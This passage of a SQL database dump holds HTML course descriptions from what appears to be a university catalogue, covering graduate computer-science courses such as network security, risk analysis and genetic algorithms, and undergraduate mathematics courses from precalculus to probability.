Fuzzy Logic.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 646: Advanced Network Security Systems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 521</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">The course consider\r\nthe overall security processes and systems with particular emphasis on hands-on\r\nskills in the areas of security policy, security technologies, firewall and\r\nsecure router design, AAA implementation, intrusion detection (IDS)\r\nimplementation and VPN implementation.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 650: Risk Analysis and Assessments (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 507</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">The course covers advanced methods and\r\ntechniques of risk analysis and assessments. Financial risks. Risk in Business.\r\nMethods in Risk Analysis. Risk Assessment. Risk Management. Risk Analysis and\r\nAssessment models. Model selection methodology.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\"><strong><em>CMS 654: Econometric Analysis in Engineering (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 507</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course covers\r\nadvanced methods and techniques of econometric analysis. Econometric analysis.\r\nRegression analysis. Linear regression. Multiple linear regression. Nonlinear\r\nregression. Least squares.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 660: Advanced Knowledge Engineering (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 526</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course is a\r\npractical course, which introduce students with Knowledge Engineering.\r\nKnowledge Based Systems. Knowledge Acquisition and Validation. Knowledge\r\nRepresentation Models.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 665: Genetic Algorithms (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 425</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course focuses on\r\nthe evolutionary computation and applications of genetic algorithms.\r\nEvolutionary Computation. Genetic Algorithms. Computation Models. Selection.\r\nSearch Operators. Evolutionary Algorithm. Fitness Evaluation. Population\r\nStructure.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 670: Data Analysis and Model Formation (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 507</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">This course is a\r\npractical course, which introduces students with data analysis models. Models\r\nand model formation. Optimization models. Simulation models. Sensitivity\r\nAnalysis. Multiple Regression Analysis. Decision making under uncertainty.\r\nDecision Trees. Decision Support Systems.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 680: Modern Problems of Computer Engineering (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>Prerequisite: CMS 520, CMS 550</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">The course focuses on\r\nthe modern problems of information technology, data mining, database design,\r\nwebsite design, multimedia systems, electronic commerce.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><br><strong></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 700:&nbsp;PhD&nbsp;Dissertation (24 ECTS&nbsp;credits)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify\"=\"\">Program of research\r\nleading to PhD degree, arranged between a student and the faculty member.\r\nStudent register to this course in all semesters starting from the beginning of\r\ntheir second semester but not later than the beginning of the third semester\r\nwhile the research program or write-up of the dissertation is in progress.</p>'),(418,260,'en','Syllabus 2016','',''),(419,261,'en','News','',''),(420,262,'en','Degree programs','',''),(421,263,'en','Courses','','<p><strong>MATH 098: Precalculus (6 ECTS credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Review of Arithmetic. Basic concepts of algebra.\r\nEquations. Systems of linear equations. Inequalities. Review of Elementary\r\nEuclidean Geometry. Functions and graphing. Inverse functions. Exponential, trigonometric,\r\nand logarithmic functions and equations.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 101: Calculus I (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 098</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Limits of simple functions (polynomial, rational,\r\nroots, trigonometric and super­positions of them). Continuity. The Derivative.\r\nMaximum-Minimum problems. Curve sketching. Antiderivatives.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 102: Calculus II (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 101</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Functions: Limits, Continuity, Derivatives.Taylor’s\r\nExpansion Formula. Maxima and Minima. Curve sketching. Second derivative tests.\r\nL’Hopitals rule. Mean Value Theorems. Antiderivatives. Techniques of\r\nintegration. The Definite Integral. Applications of the definite integral. Line\r\nintegrals. Improper Integrals. Functions of Several Variables. Partial\r\nderivatives. Maxima and Minima, Saddle-points. Multiple Integrals. Surface\r\nIntegrals. Infinite Series. Differential Equations.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 120: Business Statistics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 101</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Course builds a foundation on statistics and develops\r\napplications to business decision making. Includes descriptive statistics,\r\nprobabilities, estimation, and regression analysis. Course also provides skills\r\nfor achieving and maintaining statistical process control methods, problem\r\nsolving tools. Cases and microcomputer statistical package support the course\r\ncontent.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 131: Introduction to Linear Algebra (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 098</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Matrices and determinants. Systems of linear\r\nequations. Linear transformations. Eigenvalues and eigenvectors.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 132: Linear Algebra (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 098</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Matrices and determinants. System of linear equations.\r\nEigenvalue (Characteristic value) problem and quadratic form, Bilinear forms.\r\nLinear spaces. Euclidean and Unitary spaces. Linear operators.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 140: Introduction to Discrete Mathematics (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 098</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Finite and infinite sets. Principle of inclusion and\r\nexclusion. Permutations and combinations. Relations and functions. Properties\r\nof Binary relations. Graphs. Trees. Boolean Algebras.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 201: Calculus II (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 101</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Definite integrals. Techniques of integration.\r\nInfinite series. Functional series. Maxima and minima of functions of several\r\nvariables.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 204: Advanced Calculus II (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 104, MATH 132 or consent of the\r\ninstructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Introduction to set theory. The real number system,\r\nincluding the least upper bound property, completeness. Metric spaces, limits\r\nand continuity in metric spaces. Compact sets. Connectedness. Normed spaces.\r\nExamples of sequences of real numbers and continuous functions. Hilbert space,\r\northonormal systems. The Riemann integral, conditions for integrability in term\r\nof sets of measure zero.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 205: Infinite Series (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 101 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Sequences. Convergence, divergence of the sequences.\r\nInfinite series. Convergence and divergence of series. Positive series.\r\nAbsolutely and conditionally convergence. Tests for convergence: Ratio test,\r\nRoot test. Functional series. Uniform convergence. Power series.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 206: Complex Analysis (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Complex numbers, complex valued functions of one\r\ncomplex variable, differentiation. Analytic functions, power series.\r\nIntegration, Cauchy’s integral Formula. Lourent series, Residues and Poles.\r\nConformal mapping. Analytic continuation. Riemann surfaces.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 210: Ordinary Differential Equations (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Linear Differential equations of the first order.\r\nLinear Differential equations with constant coefficients. Linear Differential\r\nequations with variable coefficients. Existence and uniqueness of solutions of\r\nfirst order equations. Existence and uniqueness of solutions to system and n-th\r\norder equations.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 211: Numerical Solution of Ordinary Differential\r\nEquations&nbsp;</strong><strong>(6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 210</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Euler’s method and its modification. Picard’s methods\r\nof successive approximation. Equations of the second order and systems of\r\nsimultaneous equations. The Runge-Cutta method.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 220: Calculus and Linear Algebra (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 101</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Definite integrals. Infinite series. Functional\r\nseries. Maxima and minima of multivariate functions. Partial differentiations,\r\noptimization, constrained extreme. Linear algebra and its applications.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 221: Mathematics for Life and Social Sciences (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 098</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Algebra and its applications. Matrices, systems of\r\nlinear equations and their applications. Techniques and applications of\r\ndifferential calculus. Introduction to integration theory. Linear difference\r\nand differential equations. Probability and Statistics.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH</strong>&nbsp;<strong>223: Mathematics for Elementary\r\nTeachers I</strong>&nbsp;<strong>(6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Mathematical development of arithmetic and geometry;\r\nproblem solving as those subjects are taught in elementary schools.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH</strong>&nbsp;<strong>224: Mathematics for Elementary\r\nTeachers II</strong>&nbsp;<strong>(6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 235</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Development of algebra. Basic ideas of calculus,\r\nproblem solving, and probability and statistics as those subjects are taught in\r\nelementary schools.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 225: Mathematics for Economics and Business (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 101</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Algebra and its applications. The Mathematics of\r\nFinance (Interest, annuities, amortization of loans). Linear Mathematics and\r\nits applications. Calculus with applications to economics. Functions of several\r\nvariables. Partial differentiation, optimization, constrained extrema.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 231: Applied Linear Algebra (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH&nbsp; 132</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Operations on matrices. Inverse matrix. Systems of\r\nlinear equations. Eigenvalue (Characteristic value) problem. Positive definite\r\nmatrices. Applications to optimization theory and to linear programming. Linear\r\ndifferential and difference equations.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 233: Numerical Methods of Linear Algebra (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 132, MATH 204</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Elimination methods. Orthogonalization methods.\r\nIterative and gradient methods. Transformation methods for latent roots and\r\nvectors. Corrections to approximate roots and vectors. Numerical evaluation of\r\neigenvalues and eigenvectors.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 235: Introduction to Mathematical Logic (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 098 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Operations with logical options. Functions of algebra\r\nof logic, normal forms. Arithmetical operations of algebra of logic. Negation,\r\nconjunction and alternation. Duality. Boolean Schemata.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 236: Set Theory (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 098 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Algebra of Sets, Relations and functions, numbers.\r\nConstruction of the real numbers. Axioms of set theory. Cardinality, axiom of\r\nchoice, transfinite numbers. Continuum hypothesis. Ordinals and order types.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 237: General Topology (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 236, MATH 101 or consent of the\r\ninstructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Metric spaces. Topoloqical spaces. Separation axioms.\r\nGeneralized convergence, continuity, compactness, connectedness. Completion of\r\na metric space. Product topology.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 238: Number Theory (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 098 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Principle of mathematical induction. Euclid’s division\r\nlemma. Factorization and the primes, congruencies. The linear Diophantine\r\nequation. The fundamental theorem of arithmetic. Combinatorial number theory.\r\nFermat’s little theorem. Wilson’s theorem. Generating functions. Geometric\r\nnumber theory. Gauss’s circle problem. Dirichlet’s divisor problem.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 239: Elementary Probability (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Theory of sets. The sample space. Conditional\r\nProbability. Discrete Random Variables. Continuous Random Variables. Univariate\r\nDiscrete Probability distributions.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" 